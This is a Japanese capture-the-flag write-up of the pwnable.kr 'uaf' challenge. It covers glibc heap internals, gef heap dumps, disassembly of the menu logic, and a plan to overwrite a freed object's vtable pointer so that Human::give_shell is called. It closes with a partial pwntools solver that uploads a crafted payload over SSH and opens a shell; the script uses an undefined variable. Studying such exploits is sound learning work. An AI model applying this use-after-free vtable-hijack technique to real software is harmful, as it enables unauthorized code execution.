Pwnable.kr/uaf
t6o_o6t.icon
方針が立たなかったので、glibcのheapの仕組みを勉強した malloc_state
fastbinYや、bins配列を持つ構造体
main_arenaなど、各arenaはこの構造を持つ
unsortedbin、smallbin、largebinはbins配列内それぞれ異なる領域上に存在している
どのbinにchunkが入っていくのか、などを脳内でエミュレーションできるようにならなければならない
main関数のスタックフレーム
rbp - 0x28 | size_t len
rbp - 0x20 | char* data
3. freeでインスタンスをdeleteしたときに、Heap chunkが解放され、どこかのbinに入るだろう
インスタンスのChunk sizeはいくつだろうか?
cin >> opで中断してみる
heap arenas
code:arenas.c
gef➤ heap arenas
Arena(base=0x7ff27e064c80, top=0x34182760, last_remainder=0x0, next=0x7ff27e064c80, mem=135168, mempeak=135168)
もともとシングルスレッドで動作させているはずなので、arenaが複数生成される理由もない
heap bins
code:bins.c
gef➤ heap bins
───────────────────────────── Tcachebins for thread 1 ─────────────────────────────
All tcachebins are empty
────────────────────── Fastbins for arena at 0x7ff27e064c80 ──────────────────────
──────────────────── Unsorted Bin for arena at 0x7ff27e064c80 ────────────────────
+ Found 0 chunks in unsorted bin. ───────────────────── Small Bins for arena at 0x7ff27e064c80 ─────────────────────
+ Found 0 chunks in 0 small non-empty bins. ───────────────────── Large Bins for arena at 0x7ff27e064c80 ─────────────────────
+ Found 0 chunks in 0 large non-empty bins. まだfree(delete)を一度も行っていないので、これらのfree listも使われていないだろう
heap chunks
code:chunks.c
gef➤ heap chunks
Chunk(addr=0x34170010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x341702a0, size=0x11c10, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x34181eb0, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x34181ee0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x34181f00, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x34181f30, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x34181f50, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x34182360, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x34182770, size=0xe8a0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
この中のどれが、mやwのインスタンスの保持に使われているHeap chunkだろうか..
7個目のHeapは
4個目と6個目はそれぞれ0x19、0x15というバイトを持っているので、少し怪しい
3. freeしてみる
heap arenas
code:arenas.c
gef➤ heap arenas
Arena(base=0x7ff27e064c80, top=0x34182760, last_remainder=0x0, next=0x7ff27e064c80, mem=135168, mempeak=135168)
変化なし?
heap bins
code:bins.c
gef➤ heap bins
───────────────────────────────── Tcachebins for thread 1 ─────────────────────────────────
Tcachebinsidx=0, size=0x20, count=2 ← Chunk(addr=0x34181f30, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x34181ee0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Tcachebinsidx=1, size=0x30, count=2 ← Chunk(addr=0x34181f00, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x34181eb0, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ────────────────────────── Fastbins for arena at 0x7ff27e064c80 ──────────────────────────
──────────────────────── Unsorted Bin for arena at 0x7ff27e064c80 ────────────────────────
+ Found 0 chunks in unsorted bin. ───────────────────────── Small Bins for arena at 0x7ff27e064c80 ─────────────────────────
+ Found 0 chunks in 0 small non-empty bins. ───────────────────────── Large Bins for arena at 0x7ff27e064c80 ─────────────────────────
+ Found 0 chunks in 0 large non-empty bins. 解放されたchunkはtcacheに入った。
tcachebinsはさまざまなサイズに対応しているようだ。
今回も、sizeが0x20のものと0x30のものに分かれてtcacheに入っていった。
各インスタンスの保持に使われているChunkはどれか?
変数m
eb0でname
ee0でage(25)
変数w
f00 でname
f30でage(21)
たぶん同じサイズのChunkを確保する必要が生じたときは、tcache上のChunkが使われるだろう
実際、lenを0x20として 2. を実行したところ、size=0x20のtcache binの先頭にあったChunkがbinから無くなっていた
そして、そのChunkの先頭から文字列が書き込まれた
gdbは各Chunkの一部(0x10バイトまで)だけを表示していた!
hexdump byteでChunkの内容を表示すると、0x10バイト以降の部分がどうなっているかも分かる
例
code:hexdump.c
gef➤ hexdump byte 0x3ec69eb0-0x10
0x000000003ec69ea0 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 ........1.......
0x000000003ec69eb0 69 ec 03 00 00 00 00 00 8a 5c 19 60 df 59 fc bd i........\.`.Y..
0x000000003ec69ec0 ff ff ff ff 00 00 00 00 4a 61 63 6b 00 00 00 00 ........Jack....
0x000000003ec69ed0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
prev_sizeは空である
sizeの下位1ビットが1である
すなわちPREV_INUSEである。
PREV_INUSEであるなら、このChunk自身がfreeされたときにPrev chunkと合併することは期待できないので、prev_sizeも保持しなくてよいということか?
脆弱性
バッファオーバーフローにより、Heap領域の他のChunkを改ざんできる
ユーザアプリによって変更され得る部分はもちろん、prev_sizeなどにも変更を加えられるだろう
アセンブリをちゃんと読む
分岐はどこで発生しているか
眺めると、main+244あたりでje命令が連発している。明らかにここがswitch文の分岐に対応している。
code:switch.asm
0x0000000000400fa8 <+228>: mov edi,0x6020e0
0x0000000000400fad <+233>: call 0x400dd0 <_ZNSirsERj@plt>
0x0000000000400fb2 <+238>: mov eax,DWORD PTR rbp-0x18 0x0000000000400fb5 <+241>: cmp eax,0x2
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp eax,0x3
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
0x0000000000400fc8 <+260>: jmp 0x4010a9 <main+485>
1を入力したとき、main+265に飛んでいそう。
1(introduce)
code:introduce.asm
0x0000000000400fcd <+265>: mov rax,QWORD PTR rbp-0x38 0x0000000000400fd1 <+269>: mov rax,QWORD PTR rax 0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR rax 0x0000000000400fdb <+279>: mov rax,QWORD PTR rbp-0x38 0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR rbp-0x30 0x0000000000400fe8 <+292>: mov rax,QWORD PTR rax 0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR rax 0x0000000000400ff2 <+302>: mov rax,QWORD PTR rbp-0x30 0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
main+265実行直後のraxは
code:rax
`$rax : 0x0000000030322ee0 → 0x0000000000401570 → 0x000000000040117a → <Human::give_shell()+0> push rbp
0x30322ee0
Heap上にある、Sizeが0x20のChunkのアドレス。
0x401570
Permissions: r-x
Segment: .rodata
Symbol: vtable for Man+16
0x40117a
Permissions: r-x
Segment: .text
Symbol: Human::give_shell()
main+272実行直後、すなわちポインタ外し + 8バイト加算したときのraxは
code:rax
$rax : 0x0000000000401578 → 0x00000000004012d2 → <Man::introduce()+0> push rbp
まとめ
main+265実行直後、raxには、あるChunkのアドレスが格納されている
方針
Chunkの先頭にあるアドレスを、0x401570(Human::give_shellのvtableエントリのアドレス)から8減じたものにする
こうすれば、main+272でraxに +8 バイト加算されたとき、ちょうどraxがHuman::give_shellのエントリを指すようになる
問題点
今回、先に0xee0の方のChunkに関して、main+265でポインタ外しが行われる
しかし、Freeすると、Chunkの先頭に書かれているアドレスに、異なる値が上書きされる
何の値かは分からないが、おそらくheap管理用のデータだろう
例
Free前
code:before_free.c
Chunk(addr=0x1b026ee0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Chunk(addr=0x1b026f30, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Free後
size=0x30のChunkがそれぞれの上に乗っているので、バッファオーバーフローで上書きできるかも?
残念ながら、少なくとも初回のnew char[len]で確保されるのは、0xf00や0xf30の方でした
2回2.を実行して、newさせることも可能なのか?
出来た!
結論
1. 長さが0x20のバイナリファイルを用意する
Human::give_shellに関するvtableのエントリへのアドレスを、このファイルの先頭8バイトに書き込んでおく
2. 3. freeを実行し、インスタンスの表現に使われているChunkをfreeする
このとき、Chunkはtcacheに入る
3. 2. afterを実行する。
0xf30のChunkが再利用される。
なお、uafファイルのargvを適切に指定し、用意したバイナリファイルの内容が書き込まれるようにする。
4. 2. afterを再び実行する。
0xee0のChunkが再利用される。
5. 1. useを実行する。
対応するChunkの先頭にあるアドレスが上書きされているため、Human::give_shellが呼び出されれる。
code:solver.py
from pwn import *
shell = ssh('uaf', 'pwnable.kr', password='guest', port=2222)
data = flat(p64(0x401570 - 8), b"A" * (0x20 - 8))
print(shell.run_to_end(b"mkdir /tmp/t6o_o6t"))
shell.upload_data(data, "/tmp/t6o_o6t/data")
p.sendline(b"3")
p.sendline(b"2")
p.sendline(b"2")
p.sendline(b"1")
p.interactive()
このソルバを実行すると、シェルが開く。
$ more flag